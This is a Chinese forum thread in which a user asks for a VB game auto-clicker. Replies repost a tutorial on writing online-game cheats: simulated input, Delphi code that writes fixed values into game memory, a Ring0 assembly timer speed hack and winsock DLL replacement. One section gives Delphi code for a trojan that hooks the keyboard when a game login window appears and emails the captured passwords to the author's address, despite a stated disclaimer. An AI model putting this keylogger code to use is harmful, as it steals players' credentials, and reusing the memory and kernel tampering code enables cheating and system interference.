本人刚接触vb不久,用的基本是新建工程中的默认控件,还在学习中,往高手指教!
前一阵玩了一个网络游戏<<天外>>,现在等级稍高,希望能在无人职守的情况下在
低级怪那里自动打怪,鼠标自动上下移动、双击(走动遇敌,进入战场,怪会主动攻击,人物会自动还击,人物等级相对高,战斗中不会掉血),战斗结束后鼠标移动到一位置单击(关闭一个弹出的消息框),重复鼠标上下移动、双击过程.在这几个过程中需要有短暂时间延迟. 只要两个command按钮就好.
最好能帮写出代码,或给出控制鼠标移动,双击、单击的方法.
另外,我在玩天外时用过按键精灵,不过在执行脚本时,游戏会自行关闭,不知道是什么原因.
如果有玩天外的,望有办法解决这个问题
谢谢!!

解决方案 »

  1.   

    在几年前我看到别人玩网络游戏用上了外挂,做为程序员的我心里实在是不爽,想搞清楚这到底是怎么回事。就拿了一些来研究,小有心得,拿出来与大家共享,外挂无非就是分几种罢了(依制作难度):  1、动作式,所谓动作式,就是指用API发命令给窗口或API控制鼠标、键盘等,使游戏里的人物进行流动或者攻击,最早以前的“石器”外挂就是这种方式。(这种外挂完全是垃圾,TMD,只要会一点点API的人都知道该怎么做,不过这种外挂也是入门级的好东东,虽然不能提高你的战斗力,但是可以提高你的士气)  2、本地修改式,这种外挂跟传统上的一些游戏修改器没有两样,做这种外挂在编程只需要对内存地址有一点认识并且掌握API就可以实现,“精灵”的外挂这是这种方式写成的,它的难点在于找到那些地址码,找地址一般地要借助于别人的工具,有的游戏还有双码校验,正正找起来会比较困难。(这种外挂,比上一种有一点点难度,但是这种外挂做起来能够用,也是有一定难度的啦~~,这种外挂可以很快提升你对内存地址的理解及应用,是你编程技术提高的好东东)  3、木马式,这种外挂的目的是帮外挂制作者偷到用户的密码(TMD,“烂”就一个字,不过要知已知彼所以还是要谈一下啦~~),做这种外挂有一定的难度,需要HOOK或键盘监视技术做底子,才可以完成,它的原理是先首截了用户的帐号或密码,然后发到指定邮箱。(我以前写过这样的东东,但是从来没有用过,我知道这种东东很不道德,所以以后千万别用呀!)  4、加速式,这种外挂可以加快游戏的速度……(对不起大家,这种东东我没有实际做过,所以不能妄自评,惭愧)  这几种外挂之中,前三种可以用VB,Delphi等语言比较好实现,后两种则要用VC等底层支持比较好的编程工具才好实现。   动作式外挂  首先,先来谈一下动作式的外挂,这也是我第一次写外挂时做的最简单的一种。  记得还在“石器”时代的时候,我看到别人挂着一种软件(外挂)人物就可以四外游走(当时我还不知道外挂怎么回事),于是找了这种软件过来研究(拿来后才听别人说这叫外挂),发现这种东东其实实现起来并不难,仔佃看其实人物的行走无非就是鼠标在不同的地方点来点去而已,看后就有实现这功能的冲动,随后跑到MSDN上看了一些资料,发现这种实现这几个功能,只需要几个简单的API函数就可以搞定:  1、首先我们要知道现在鼠标的位置(为了好还原现在鼠标的位置)所以我们就要用到API函数GetCursorPos,它的使用方法如下:BOOL GetCursorPos( 
    LPPOINT lpPoint // address of structure for cursor position 
    );    2、我们把鼠标的位置移到要到人物走到的地方,我们就要用到SetCursorPos函数来移动鼠标位置,它的使用方法如下:BOOL SetCursorPos(int X, // horizontal position 
    int Y // vertical position
    );   3、模拟鼠标发出按下和放开的动作,我们要用到mouse_event函数来实现,具休使用方法用下:VOID mouse_event(DWORD dwFlags, // flags specifying various motion/click variants
    DWORD dx, // horizontal mouse position or position change
    DWORD dy, // vertical mouse position or position change
    DWORD dwData, // amount of wheel movement
    DWORD dwExtraInfo // 32 bits of application-defined information
    );   在它的dwFlags处,可用的事件很多如移动MOUSEEVENTF_MOVE,左键按下MOUSEEVENTF_LEFTDOWN,左键放开MOUSEEVENTF_LEFTUP,具体的东东还是查一下MSDN吧~~~~~   好了,有了前面的知识,我们就可以来看看人物移走是怎么实现的了:getcursorpos(point);
    setcursorpos(ranpoint(80,windowX),ranpoint(80,windowY));//ranpoint是个自制的随机坐标函数
    mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
    mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
    setcursorpos(point.x,point.y);   看了以上的代码,是不是觉得人物的游走很简单啦~~,举一仿三,还有好多好东东可以用这个技巧实现(我早就说过,TMD,这是垃圾外挂的做法,相信了吧~~~),接下来,再看看游戏里面自动攻击的做法吧(必需游戏中攻击支持快捷键的),道理还是一样的,只是用的API不同罢了~~~,这回我们要用到的是keybd_event函数,其用法如下:
    VOID keybd_event(BYTE bVk, // virtual-key code
    BYTE bScan, // hardware scan code
    DWORD dwFlags, // flags specifying various function options
    DWORD dwExtraInfo // additional data associated with keystroke
    );   我们还要知道扫描码不可以直接使用,要用函数MapVirtualKey把键值转成扫描码,MapVirtualKey的具体使用方法如下:UINT MapVirtualKey(UINT uCode, // virtual-key code or scan code
    UINT uMapType // translation to perform
    );   好了,比说此快接键是CTRL+A,接下来让我们看看实际代码是怎么写的:keybd_event(VK_CONTROL,mapvirtualkey(VK_CONTROL,0),0,0);
    keybd_event(65,mapvirtualkey(65,0),0,0);
    keybd_event(65,mapvirtualkey(65,0),keyeventf_keyup,0);
    keybd_event(VK_CONTROL,mapvirtualkey(VK_CONTROL,0),keyeventf_keyup,0);   首先模拟按下了CTRL键,再模拟按下A键,再模拟放开A键,最后放开CTRL键,这就是一个模拟按快捷键的周期。  (看到这里,差不多对简易外挂有了一定的了解了吧~~~~做一个试试?如果你举一仿三还能有更好的东东出来,这就要看你的领悟能力了~~,不过不要高兴太早这只是才开始,以后还有更复杂的东东等着你呢~~)
      

  2.   

    本地修改式外挂  现在我们来看看,比动作式外挂更进一步的外挂——本地修改式外挂的整个制作过程进行一个详细的分解。  具我所知,本地修改式外挂最典型的应用就是在“精灵”游戏上面,因为我在近一年前(“精灵”还在测试阶段),我所在的公司里有很多同事玩“精灵”,于是我看了一下游戏的数据处理方式,发现它所发送到服务器上的信息是存在于内存当中(我看后第一个感受是:修改这种游戏和修改单机版的游戏没有多大分别,换句话说就是在他向服务器提交信息之前修改了内存地址就可以了),当时我找到了地址于是修改了内存地址,果然,按我的想法修改了地址,让系统自动提交后,果然成功了~~~~~,后来“精灵”又改成了双地址校检,内存校检等等,在这里我就不废话了~~~~,OK,我们就来看看这类外挂是如何制作的:  在做外挂之前我们要对Windows的内存有个具体的认识,而在这里我们所指的内存是指系统的内存偏移量,也就是相对内存,而我们所要对其进行修改,那么我们要对几个Windows API进行了解,OK,跟着例子让我们看清楚这种外挂的制作和API的应用(为了保证网络游戏的正常运行,我就不把找内存地址的方法详细解说了):  1、首先我们要用FindWindow,知道游戏窗口的句柄,因为我们要通过它来得知游戏的运行后所在进程的ID,下面就是FindWindow的用法:HWND FindWindow(LPCTSTR lpClassName, // pointer to class name
    LPCTSTR lpWindowName // pointer to window name
    );   2、我们GetWindowThreadProcessId来得到游戏窗口相对应进程的进程ID,函数用法如下:DWORD GetWindowThreadProcessId(HWND hWnd, // handle of window
    LPDWORD lpdwProcessId // address of variable for process identifier
    );  3、得到游戏进程ID后,接下来的事是要以最高权限打开进程,所用到的函数OpenProcess的具体使用方法如下:HANDLE OpenProcess(DWORD dwDesiredAccess, // access flag 
    BOOL bInheritHandle, // handle inheritance flag 
    DWORD dwProcessId // process identifier 
    );   在dwDesiredAccess之处就是设存取方式的地方,它可设的权限很多,我们在这里使用只要使用PROCESS_ALL_ACCESS 来打开进程就可以,其他的方式我们可以查一下MSDN。  4、打开进程后,我们就可以用函数对存内进行操作,在这里我们只要用到WriteProcessMemory来对内存地址写入数据即可(其他的操作方式比如说:ReadProcessMemory等,我在这里就不一一介绍了),我们看一下WriteProcessMemory的用法:BOOL WriteProcessMemory(HANDLE hProcess, // handle to process whose memory is written to 
    LPVOID lpBaseAddress, // address to start writing to 
    LPVOID lpBuffer, // pointer to buffer to write data to
    DWORD nSize, // number of bytes to write
    LPDWORD lpNumberOfBytesWritten // actual number of bytes written 
    );   5、下面用CloseHandle关闭进程句柄就完成了。  这就是这类游戏外挂的程序实现部份的方法,好了,有了此方法,我们就有了理性的认识,我们看看实际例子,提升一下我们的感性认识吧,下面就是XX游戏的外挂代码,我们照上面的方法对应去研究一下吧:const
    ResourceOffset: dword = $004219F4;
    resource: dword = 3113226621;
    ResourceOffset1: dword = $004219F8;
    resource1: dword = 1940000000;
    ResourceOffset2: dword = $0043FA50;
    resource2: dword = 1280185;
    ResourceOffset3: dword = $0043FA54;
    resource3: dword = 3163064576;
    ResourceOffset4: dword = $0043FA58;
    resource4: dword = 2298478592;
    var
    hw: HWND;
    pid: dword;
    h: THandle;
    tt: Cardinal;
    begin
    hw := FindWindow('XX', nil);
    if hw = 0 then
    Exit;
    GetWindowThreadProcessId(hw, @pid);
    h := OpenProcess(PROCESS_ALL_ACCESS, false, pid);
    if h = 0 then
    Exit;
    if flatcheckbox1.Checked=true then
    begin
    WriteProcessMemory(h, Pointer(ResourceOffset), @Resource, sizeof(Resource), tt);
    WriteProcessMemory(h, Pointer(ResourceOffset1), @Resource1, sizeof(Resource1), tt);
    end;
    if flatcheckbox2.Checked=true then
    begin
    WriteProcessMemory(h, Pointer(ResourceOffset2), @Resource2, sizeof(Resource2), tt);
    WriteProcessMemory(h, Pointer(ResourceOffset3), @Resource3, sizeof(Resource3), tt);
    WriteProcessMemory(h, Pointer(ResourceOffset4), @Resource4, sizeof(Resource4), tt);
    end;
    MessageBeep(0);
    CloseHandle(h);
    close;   这个游戏是用了多地址对所要提交的数据进行了校验,所以说这类游戏外挂制作并不是很难,最难的是要找到这些地址。
      

  3.   

    木马式外挂  木马式外挂,可能大多像木马吧,是帮助做外挂的人偷取别人游戏的帐号及密码的东东。因为网络上有此类外挂的存在,所以今天不得不说一下(我个人是非常讨厌这类外挂的,请看过本文的朋友不要到处乱用此技术,谢谢合作)。要做此类外挂的程序实现方法很多(比如HOOK,键盘监视等技术),因为HOOK技术对程序员的技术要求比较高并且在实际应用上需要多带一个动态链接库,所以在文中我会以键盘监视技术来实现此类木马的制作。键盘监视技术只需要一个.exe文件就能实现做到后台键盘监视,这个程序用这种技术来实现比较适合。  在做程序之前我们必需要了解一下程序的思路:  1、我们首先知道你想记录游戏的登录窗口名称。  2、判断登录窗口是否出现。  3、如果登录窗口出现,就记录键盘。  4、当窗口关闭时,把记录信息,通过邮件发送到程序设计者的邮箱。  第一点我就不具体分析了,因为你们比我还要了解你们玩的是什么游戏,登录窗口名称是什么。从第二点开始,我们就开始这类外挂的程序实现之旅:  那么我们要怎么样判断登录窗口虽否出现呢?其实这个很简单,我们用FindWindow函数就可以很轻松的实现了:HWND FindWindow(LPCTSTR lpClassName, // pointer to class name
    LPCTSTR lpWindowName // pointer to window name
    );   实际程序实现中,我们要找到'xx'窗口,就用FindWindow(nil,'xx')如果当返回值大于0时表示窗口已经出现,那么我们就可以对键盘信息进行记录了。  先首我们用SetWindowsHookEx设置监视日志,而该函数的用法如下:HHOOK SetWindowsHookEx(int idHook, // type of hook to install
    HOOKPROC lpfn, // address of hook procedure
    HINSTANCE hMod, // handle of application instance
    DWORD dwThreadId // identity of thread to install hook for 
    );    在这里要说明的是在我们程序当中我们要对HOOKPROC这里我们要通过写一个函数,来实现而HINSTANCE这里我们直接用本程序的HINSTANCE就可以了,具体实现方法为:hHook := SetWindowsHookEx(WH_JOURNALRECORD, HookProc, HInstance, 0);    而HOOKPROC里的函数就要复杂一点点:function HookProc(iCode: integer; wParam: wParam; lParam: lParam): LResult; stdcall; 
    begin 
    if findedtitle then file://如果发现窗口后
    begin 
    if (peventmsg(lparam)^.message = WM_KEYDOWN) then file://消息等于键盘按下
    hookkey := hookkey + Form1.Keyhookresult(peventMsg(lparam)^.paramL, peventmsg(lparam)^.paramH); file://通过keyhookresult(自定义的函数,主要功能是转换截获的消息参数为按键名称。我会在文章尾附上转化函数的)转换消息。
    if length(hookkey) > 0 then file://如果获得按键名称
    begin 
    Write(hookkeyFile,hookkey); file://把按键名称写入文本文件
    hookkey := ''; 
    end; 
    end; 
    end;    以上就是记录键盘的整个过程,简单吧,如果记录完可不要忘记释放呀,UnHookWindowsHookEx(hHook),而hHOOK,就是创建setwindowshookex后所返回的句柄。  我们已经得到了键盘的记录,那么现在最后只要把记录的这些信息发送回来,我们就大功造成了。其他发送这块并不是很难,只要把记录从文本文件里边读出来,用DELPHI自带的电子邮件组件发一下就万事OK了。代码如下:assignfile(ReadFile,'hook.txt'); file://打开hook.txt这个文本文件
    reset(ReadFile); file://设为读取方式
    try 
    While not Eof(ReadFile) do file://当没有读到文件尾
    begin 
    Readln(ReadFile,s,j); file://读取文件行
    body:=body+s; 
    end; 
    finally 
    closefile(ReadFile); file://关闭文件
    end; 
    nmsmtp1.EncodeType:=uuMime; file://设置编码
    nmsmtp1.PostMessage.Attachments.Text:=''; file://设置附件
    nmsmtp1.PostMessage.FromAddress:='[email protected]'; file://设置源邮件地址
    nmsmtp1.PostMessage.ToAddress.Text:='[email protected]'; /设置目标邮件地址
    nmsmtp1.PostMessage.Body.Text:='密码'+' '+body; file://设置邮件内容
    nmsmtp1.PostMessage.Subject:='password'; file://设置邮件标题
    nmsmtp1.SendMail; file://发送邮件   这个程序全部功能已经实现,编编试试。
      

  4.   

    加速型外挂  原本我一直以为加速外挂是针对某个游戏而写的,后来发现我这种概念是不对的,所谓加速外挂其实是修改时钟频率达到加速的目的。  以前DOS时代玩过编程的人就会马上想到,这很简单嘛不就是直接修改一下8253寄存器嘛,这在以前DOS时代可能可以行得通,但是windows则不然。windows是一个32位的操作系统,并不是你想改哪就改哪的(微软的东东就是如此霸气,说不给你改就不给你改),但要改也不是不可能,我们可以通过两种方法来实现:第一是写一个硬件驱动来完成,第二是用Ring0来实现(这种方法是CIH的作者陈盈豪首用的,它的原理是修改一下IDE表->创建一个中断门->进入Ring0->调用中断修改向量,但是没有办法只能用ASM汇编来实现这一切*_*,做为高级语言使用者惨啦!),用第一种方法用点麻烦,所以我们在这里就用第二种方法实现吧~~~  在实现之前我们来理一下思路吧:  1、我们首先要写一个过程在这个过程里嵌入汇编语言来实现修改IDE表、创建中断门,修改向量等工作  2、调用这个过程来实现加速功能  好了,现在思路有了,我们就边看代码边讲解吧:  首先我们建立一个过程,这个过程就是本程序的核心部份:procedure SetRing(value:word); stdcall; 
    const ZDH = $03; // 设一个中断号
    var
    IDT : array [0..5] of byte; // 保存IDT表
    OG : dword; //存放旧向量
    begin
    asm
    push ebx
    sidt IDT //读入中断描述符表
    mov ebx, dword ptr [IDT+2] //IDT表基地址
    add ebx, 8*ZDH //计算中断在中断描述符表中的位置
    cli //关中断
    mov dx, word ptr [ebx+6] 
    shl edx, 16d 
    mov dx, word ptr [ebx] 
    mov [OG], edx 
    mov eax, offset @@Ring0 //指向Ring0级代码段
    mov word ptr [ebx], ax //低16位,保存在1,2位
    shr eax, 16d
    mov word ptr [ebx+6], ax //高16位,保存在6,7位
    int ZDH //中断
    mov ebx, dword ptr [IDT+2] //重新定位
    add ebx, 8*ZDH
    mov edx, [OG]
    mov word ptr [ebx], dx
    shr edx, 16d
    mov word ptr [ebx+6], dx //恢复被改了的向量
    pop ebx
    jmp @@exitasm //到exitasm处
    @@Ring0: //Ring0,这个也是最最最核心的东东
    mov al,$34 //写入8253控制寄存器
    out $43,al
    mov ax,value //写入定时值
    out $40,al //写定时值低位
    mov al,ah
    out $40,al //写定时值高位
    iretd //返回
    @@exitasm:
    end;
    end;   最核心的东西已经写完了,大部份读者是知其然不知其所以然吧,呵呵,不过不知其所以然也然。下面我们就试着用一下这个过程来做一个类似于“变速齿轮”的一个东东吧!  先加一个窗口,在窗口上放上一个trackbar控件把其Max设为20,Min设为1,把Position设为10,在这个控件的Change事件里写上:SetRing(strtoint('$'+inttostr(1742+(10-trackbar1.Position)*160)));   因为windows默认的值为$1742,所以我们把1742做为基数,又因为值越小越快,反之越慢的原理,所以写了这样一个公式,好了,这就是“变速齿轮”的一个Delphi+ASM版了(只适用于win9X),呵呵,试一下吧,这对你帮助会很大的,呵呵。  在win2000里,我们不可能实现在直接对端口进行操作,Ring0也失了效,有的人就会想到,我们可以写驱动程序来完成呀,但在这里我告诉你,windows2000的驱动不是一个VxD就能实现的,像我这样的低手是写不出windows所用的驱动WDM的,没办法,我只有借助外力实现了,ProtTalk就是一个很好的设备驱动,他很方便的来实现对低层端口的操作,从而实现加速外挂。  1、我们首先要下一个PortTalk驱动,他的官方网站是http://www.beyondlogic.org  2、我们要把里面的prottalk.sys拷贝出来。  3、建立一个Protalk.sys的接口(我想省略了,大家可以上http://www.freewebs.com/liuyue/porttalk.pas下个pas文件自己看吧)  4、实现加速外挂。  下面就讲一下这程序的实现方法吧,如果说用ProtTalk来操作端口就容易多了,比win98下用ring权限操作方便。  1、新建一个工程,把刚刚下的接口文件和Protalk.sys一起拷到工程文件保存的文件夹下。  2、我们在我们新建的工程加入我们的接口文件uses
    windows,ProtTalk……   3、我们建立一个过程procedure SetRing(value:word); 
    begin
    if not OpenPortTalk then exit;
    outportb($43,$34);
    outportb($40,lo(Value));
    outprotb($40,hi(value));
    ClosePortTalk;
    end;   4、先加一个窗口,在窗口上放上一个trackbar控件把其Max设为20,Min设为1,把Position设为10,在这个控件的Change事件里写上:SetRing(strtoint('$'+inttostr(1742+(10-trackbar1.Position)*160)));   就这么容易。
      

  5.   

    '** 这组常量用于模拟鼠标事件
    Const MOUSEEVENTF_MOVE = &H1        ' 移动鼠标
    Const MOUSEEVENTF_LEFTDOWN = &H2    ' 模拟鼠标左键按下
    Const MOUSEEVENTF_LEFTUP = &H4      ' 模拟鼠标左键抬起
    Const MOUSEEVENTF_RIGHTDOWN = &H8   ' 模拟鼠标右键按下
    Const MOUSEEVENTF_RIGHTUP = &H10    ' 模拟鼠标右键抬起
    Const MOUSEEVENTF_MIDDLEDOWN = &H20 ' 模拟鼠标中键按下
    Const MOUSEEVENTF_MIDDLEUP = &H40   ' 模拟鼠标中键抬起
    Const MOUSEEVENTF_ABSOLUTE = &H8000 ' 表示是否采用绝对坐标Private Declare Sub mouse_event Lib "user32" (ByVal dwFlags As Long, ByVal dx As Long, ByVal dy As Long, ByVal cButtons As Long, ByVal dwExtraInfo As Long)
    Private Declare Function SetCursorPos Lib "user32" (ByVal X As Long, ByVal Y As Long) As Long' 双击
    mouse_event MOUSEEVENTF_LEFTDOWN Or MOUSEEVENTF_LEFTUP, 0, 0, 0, 0
    mouse_event MOUSEEVENTF_LEFTDOWN Or MOUSEEVENTF_LEFTUP, 0, 0, 0, 0' 移动
    SetCursorPos x, y
    例:
    http://www.vb99.com/loaddown.asp?tid=1&pathid=0&Filenames=33
      

  6.   

    可以用SetCursorPos 来移动鼠标Private Declare Function SetCursorPos Lib "user32" (ByVal x As Long, ByVal y As Long) As Long
      

  7.   

    不过我好象看不太懂啊,这些好象不是一个入门级的讲座吧?
    能不能给一段完整的代码?从声明api 到使用,如果能有注释就更好了,呵呵
    窗口就两个按钮,一个开始,一个停止......
      

  8.   

    外挂分析(zt)我主要对外挂的技术进行分析,至于游戏里面的内部结构每个都不一样,这里就不做讲解了,我也没有那么厉害,所有的都知道,呵呵!
    1 首先游戏外挂的原理
    外挂现在分为好多种,比如模拟键盘的,鼠标的,修改数据包的,还有修改本地内存的,但好像没有修改服务器内存的哦,呵呵!其实修改服务器也是有办法的,只是技术太高一般人没有办法入手而已!(比如请GM去夜总会,送礼,收黑钱等等办法都可以修改服务器数据,哈哈)
       修改游戏无非是修改一下本地内存的数据,或者截获api函数等等,这里我把所能想到的方法都作一个介绍,希望大家能做出很好的外挂来使游戏厂商更好的完善自己的技术.
    我见到一片文章是讲魔力宝贝的理论分析,写的不错,大概是那个样子.
    下来我就讲解一下技术方面的东西,以作引玉之用
    2 技术分析部分
    1 模拟键盘或鼠标的响应
      我们一般使用UINT SendInput(
      UINT nInputs,     // count of input events
      LPINPUT pInputs,  // array of input events
      int cbSize        // size of structure
    );api函数
    第一个参数是说明第二个参数的矩阵的维数的,第二个参数包含了响应事件,这个自己填充就可以,最后是这个结构的大小,非常简单,这是最简单的方法模拟键盘鼠标了,呵呵
    注意:这个函数还有个替代函数: 
    VOID keybd_event(
      BYTE bVk,               // 虚拟键码
      BYTE bScan,             // 扫描码
      DWORD dwFlags,          
      ULONG_PTR dwExtraInfo   // 附加键状态
    );和
    VOID mouse_event(
      DWORD dwFlags,         // motion and click options
      DWORD dx,              // horizontal position or change
      DWORD dy,              // vertical position or change
      DWORD dwData,          // wheel movement
      ULONG_PTR dwExtraInfo  // application-defined information
    );
    这两个函数非常简单了,我想那些按键精灵就是用的这个吧,呵呵,上面的是模拟键盘,下面的是模拟鼠标的.
    这个仅仅是模拟部分,要和游戏联系起来我们还需要找到游戏的窗口才行,或者包含快捷键,就象按键精灵的那个激活键一样,我们可以用GetWindow函数来枚举窗口,也可以用Findwindow函数来查找制定的窗口(注意还有一个FindWindowEx),FindwindowEx可以找到窗口的子窗口,比如按钮,等什么东西.当游戏切换场景的时候我们可以用FindWindowEx来确定一些当前窗口的特征,从而判断是否还在这个场景,方法很多了,比如可以GetWindowInfo来确定一些东西,比如当查找不到某个按钮的时候就说明游戏场景已经切换了,等等办法.有的游戏没有控件在里面,这是对图像做坐标变换的话,这种方法就要受到限制了.这就需要我们用别的办法来辅助分析了.
    至于快捷键我们要用动态连接库实现了,里面要用到hook技术了,这个也非常简单,大家可能都会了,其实就是一个全局的hook对象然后SetWindowHook就可以了,回调函数都是现成的,而且现在网上的例子多如牛毛,这个实现在外挂中已经很普遍了.如果还有谁不明白,那就去看看msdn查找SetWindowHook就可以了.这个动态连接库的作用很大,不要低估了哦,它可以切入所有的进程空间,也就是可以加载到所有的游戏里面哦,只要用对,你会发现很有用途的!
    这个需要你复习一下win32编程的基础知识了,呵呵,赶快去看书吧!2截获消息
      有些游戏的响应机制比较简单,是基于消息的,或者用什么定时器的东西,这个时候你就可以用拦截消息来实现一些有趣的功能了.
    我们拦截消息使用的也是hook技术,里面包括了键盘消息,鼠标消息,系统消息,日志等,别的对我们没有什么大的用处,我们只用拦截消息的回调函数就可以了,这个不会让我写例子吧,其实这个和上面的一样,都是用SetWindowHook来写的,看看就明白了很简单的.
    至于拦截了以后做什么就是你的事情了,比如在每个定时器消息里面处理一些我们的数据判断,或者在定时器里面在模拟一次定时器,那么有些数据就会处理两次,呵呵,后果嘛,不一定是好事情哦,呵呵,不过如果数据计算放在客户端的游戏就可以真的改变数据了,呵呵,试试看吧!用途还有很多,自己想也可以想出来的,呵呵!3拦截socket包
    这个技术难度要比原来的高很多哦,要有思想准备.
    首先我们要替换winSock.dll或者winsock32.dll,我们写的替换函数要和原来的函数一致才行,就是说它的函数输出什么样的,我们也要输出什么样子的函数,而且参数,参数顺序都要一样才行,然后在我们的函数里面调用真正的winSock32.dll里面的函数就可以了
    首先:我们可以替换动态库到系统路径
    其次:我们应用程序启动的时候可以加载原有的动态库,用这个函数LoadLibary
    然后定位函数入口用GetProcAddress函数获得每个真正socket函数的入口地址
    当游戏进行的时候它会调用我们的动态库,然后从我们的动态库中处理完毕后才跳转到真正动态库的函数地址,这样我们就可以在里面处理自己的数据了,应该是一切数据.呵呵!
    兴奋吧,拦截了数据包我们还要分析之后才能进行正确的应答,不要以为这样工作就完成了,呵呵!还早呢,等分析完毕以后我们还要仿真应答机制来和服务器通信,一个不小心就会被封号,呵呵,呜~~~~~~~~我就被封了好多啊!
    分析数据才是工作量的来源呢,游戏每次升级有可能加密方式会有所改变,因此我们写外挂的人都是亡命之徒啊,被人娱乐了还不知道,呵呵!(声明我可没有赚钱,我是免费的)
    好了,给大家一个不错的起点,这里有完整的替换socket源代码,呵呵!
    http://www.vchelp.net/vchelp/zsrc/wsock32_sub.zip
     
     4截获api
    上面的技术如果可以灵活运用的话我们就不用截获api函数了,其实这种技术是一种补充技术.比如我们需要截获socket以外的函数作为我们的用途,我们就要用这个技术了,其实我们也可以用它直接拦截在socket中的函数,这样更直接.
    现在拦截api的教程到处都是,我就不列举了,我用的比较习惯的方法是根据输入节进行拦截的,这个方法可以用到任何一种操作系统上,比如98/2000等,有些方法不是跨平台的,我不建议使用.这个技术大家可以参考windows核心编程里面的545页开始的内容来学习,如果是98系统可以用window系统奥秘那个最后一章来学习.
    好了方法就是这么多了,看大家怎么运用了,其它的一些针对性的技巧这里我就不说了,要不然会有人杀了我的,呵呵!记住每个游戏的修改方法都不一样,如果某个游戏数据处理全部在服务器端,那么你还是别写外挂了,呵呵,最多写个自动走路的外挂,哈哈!
    数据分析的时候大家一定要注意,不要轻易尝试和服务器的连接,因为那有很危险,切忌!等你掌握了大量的数据分析结果以后,比较有把握了在试试,看看你的运气好不好,很有可能会成功的哦,呵呵!
    其实像网金也疯狂的那种模拟客户端的程序也是不错的,很适合office的人用,就看大家产品定位了.
    好了不说了,大家努力吧!切忌不要被游戏厂商招安哦,那样有损我们的形象,我们是为了让游戏做的更好而开发的,也不愿意打乱游戏的平衡,哎,好像现在不是这样了!不说了随其自然吧!